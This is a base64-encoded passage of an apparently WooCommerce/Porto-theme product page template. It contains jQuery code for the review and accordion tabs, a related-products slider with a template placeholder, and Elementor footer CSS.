YXN5LXJlc3BvbnNpdmUtdGFicy5taW4uanMiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkKCdzY3JpcHRbc3JjPSInICsganNfc3JjICsgJyJdJykubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGpzID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJChqcykuYXBwZW5kVG8oJ2JvZHknKS5vbignbG9hZCcsIGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5pdF90YWJzKCR0YWJzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KS5hdHRyKCdzcmMnLCBqc19zcmMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5pdF90YWJzKCR0YWJzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciAkcmV2aWV3X2NvbnRlbnQgPSAkdGFicy5maW5kKCcjdGFiLXJldmlld3MnKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXZpZXdfdGl0bGUxID0gJHRhYnMuZmluZCgnaDJbYXJpYS1jb250cm9scz10YWJfaXRlbS0wXScpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldmlld190aXRsZTIgPSAkdGFicy5maW5kKCdsaVthcmlhLWNvbnRyb2xzPXRhYl9pdGVtLTBdJyk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZ29SZXZpZXdUYWIodGFyZ2V0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgcmVjYWxjX3BvcyA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRyZXZpZXdfY29udGVudC5sZW5ndGggJiYgJHJldmlld19jb250ZW50LmNzcygnZGlzcGxheScpID09ICdub25lJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlY2FsY19wb3MgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcmV2aWV3X3RpdGxlMS5sZW5ndGggJiYgJHJldmlld190aXRsZTEuY3NzKCdkaXNwbGF5JykgIT0gJ25vbmUnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV2aWV3X3RpdGxlMS5jbGljaygpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYgKCRyZXZpZXdfdGl0bGUyLmxlbmd0aCAmJiAkcmV2aWV3X3RpdGxlMi5jbG9zZXN0KCd1bCcpLmNzcygnZGlzcGxheScpICE9ICdub25lJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldmlld190aXRsZTIuY2xpY2soKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRlbGF5ID0gcmVjYWxjX3BvcyA/IDQwMCA6IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkKCdodG1sLCBib2R5Jykuc3RvcCgpLmFuaW1hdGUoew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzY3JvbGxUb3A6IHRhcmdldC5vZmZzZXQoKS50b3AgLSB0aGVtZS5TdGlja3lIZWFkZXIuc3RpY2t5X2hlaWdodCAtIHRoZW1lLmFkbWluQmFySGVpZ2h0KCkgLSAxNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sIDYwMCwgJ2Vhc2VPdXRRdWFkJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LCBkZWxheSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBnb0FjY29yZGlvblRhYih0YXJnZXQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBsYWJlbCA9IHRhcmdldC5hdHRyKCdhcmlhLWNvbnRyb2xzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICR0YWJfY29udGVudCA9ICR0YWJzLmZpbmQoJy5yZXNwLXRhYi1jb250ZW50W2FyaWEtbGFiZWxsZWRieT0iJyArIGxhYmVsICsgJyJdJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0YWJfY29udGVudC5sZW5ndGggJiYgJHRhYl9jb250ZW50LmNzcygnZGlzcGxheScpICE9ICdub25lJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgb2Zmc2V0ID0gdGFyZ2V0Lm9mZnNldCgpLnRvcCAtIHRoZW1lLlN0aWNreUhlYWRlci5zdGlja3lfaGVpZ2h0IC0gdGhlbWUuYWRtaW5CYXJIZWlnaHQoKSAtIDE0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAob2Zmc2V0IDwgJCh3aW5kb3cpLnNjcm9sbFRvcCgpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnaHRtbCwgYm9keScpLnN0b3AoKS5hbmltYXRlKHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzY3JvbGxUb3A6IG9mZnNldA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwgNjAwLCAnZWFzZU91dFF1YWQnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LCA1MDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gZ28gdG8gcmV2aWV3cywgd3JpdGUgYSByZXZpZXcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnLndvb2NvbW1lcmNlLXJldmlldy1saW5rLCAud29vY29tbWVyY2Utd3JpdGUtcmV2aWV3LWxpbmsnKS5vbignY2xpY2snLCBmdW5jdGlvbiAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHRhcmdldCA9ICQodGhpcy5oYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0YXJnZXQubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ29SZXZpZXdUYWIodGFyZ2V0KTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIE9wZW4gcmV2aWV3IGZvcm0gaWYgYWNjZXNzZWQgdmlhIGFuY2hvcg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAod2luZG93LmxvY2F0aW9uLmhhc2ggPT0gJyNyZXZpZXdfZm9ybScgfHwgd2luZG93LmxvY2F0aW9uLmhhc2ggPT0gJyNyZXZpZXdzJyB8fCB3aW5kb3cubG9jYXRpb24uaGFzaC5pbmRleE9mKCcjY29tbWVudC0nKSAhPSAtMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHRhcmdldCA9ICQod2luZG93LmxvY2F0aW9uLmhhc2gpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHRhcmdldC5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnb1Jldmlld1RhYih0YXJnZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMuZmluZCgnaDIucmVzcC1hY2NvcmRpb24nKS5vbignY2xpY2snLCBmdW5jdGlvbiAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ29BY2NvcmRpb25UYWIoJCh0aGlzKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pKHdpbmRvdy5qUXVlcnkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHdpbmRvdy50aGVtZSAmJiB0aGVtZS5pc0xvYWRlZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnRvX2luaXRfZGVzY190YWIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLCBwb3J0b19pbml0X2Rlc2NfdGFiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbWFpbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+PCEtLSBlbmQgbWFpbiBjb250ZW50IC0tPg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNpZGViYXItb3ZlcmxheSI+PC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyZWxhdGVkIHByb2R1Y3RzIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgICAgICAgICA8aDIgY2xhc3M9InNsaWRlci10aXRsZSByZWxhdGVkLXByb2R1Y3RzIj5SZWxhdGVkIHByb2R1Y3RzPC9oMj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzbGlkZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIHByb2R1Y3RzLXNsaWRlciBvd2wtY2Fyb3VzZWwgc2hvdy1kb3RzLXRpdGxlLXJpZ2h0IGRvdHMtc3R5bGUtMSBwY29scy1sZy01IHBjb2xzLW1kLTQgcGNvbHMteHMtMyBwY29scy1scy0yIHB3aWR0aC1sZy01IHB3aWR0aC1tZC00IHB3aWR0aC14cy0yIHB3aWR0aC1scy0xIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtcGx1Z2luLW9wdGlvbnM9InsmcXVvdDt0aGVtZUNvbmZpZyZxdW90Ozp0cnVlLCZxdW90O2xnJnF1b3Q7OjUsJnF1b3Q7bWQmcXVvdDs6NCwmcXVvdDt4cyZxdW90OzozLCZxdW90O2xzJnF1b3Q7OjIsJnF1b3Q7ZG90cyZxdW90Ozp0cnVlfSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLXByb2R1Y3RfbGF5b3V0PSJwcm9kdWN0LXdxX29uaW1hZ2UiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7ZGV0YWlsX3Byb2R1Y3RfcmVsYXRlZH19DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9ydG8tYmxvY2siIGRhdGEtaWQ9IjE3MTIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gLS0+DQoNCg0KICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci10b3AiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICAgICAgICAgICAgICAgIDxhc2lkZSBpZD0iYmxvY2std2lkZ2V0LTUiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0LWJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3R5bGU+LmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC03M2IzNTZiIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMi4yNWVtIDBlbSAxZW0gMGVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8taWNvbiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzVweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMyMjI1Mjk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1pY29uIHN2ZyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGw6ICMyMjI1Mjk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1zaWNvbi1pbWcucG9ydG8tdS1jaXJjbGUtaW1nOmJlZm9yZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTI0MWY4ZjUgLnBvcnRvLXNpY29uLWltZyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1pY29uLmFkdmFuY2VkIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlaWdodDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1zaWNvbi10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuMmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8tc2ljb24taGVhZGVyIHAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDAuODc1cmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMWVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8tc2ljb24tZGVzY3JpcHRpb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDAuODEyNXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLWljb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDM1cHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjMjIyNTI5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8taWNvbiBzdmcgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxsOiAjMjIyNTI5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8tc2ljb24taW1nLnBvcnRvLXUtY2lyY2xlLWltZzpiZWZvcmUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0zMTJhZWU5IC5wb3J0by1zaWNvbi1pbWcgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8taWNvbi5hZHZhbmNlZCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8tc2ljb24tdGl0bGUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDFyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLXNpY29uLWhlYWRlciBwIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAwLjg3NXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDFlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLXNpY29uLWRlc2NyaXB0aW9uIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAwLjgxMjVyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1pY29uIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAzNXB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjUyOTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLWljb24gc3ZnIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlsbDogIzIyMjUyOTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLXNpY29uLWltZy5wb3J0by11LWNpcmNsZS1pbWc6YmVmb3JlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtOTUwN2U3NSAucG9ydG8tc2ljb24taW1nIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl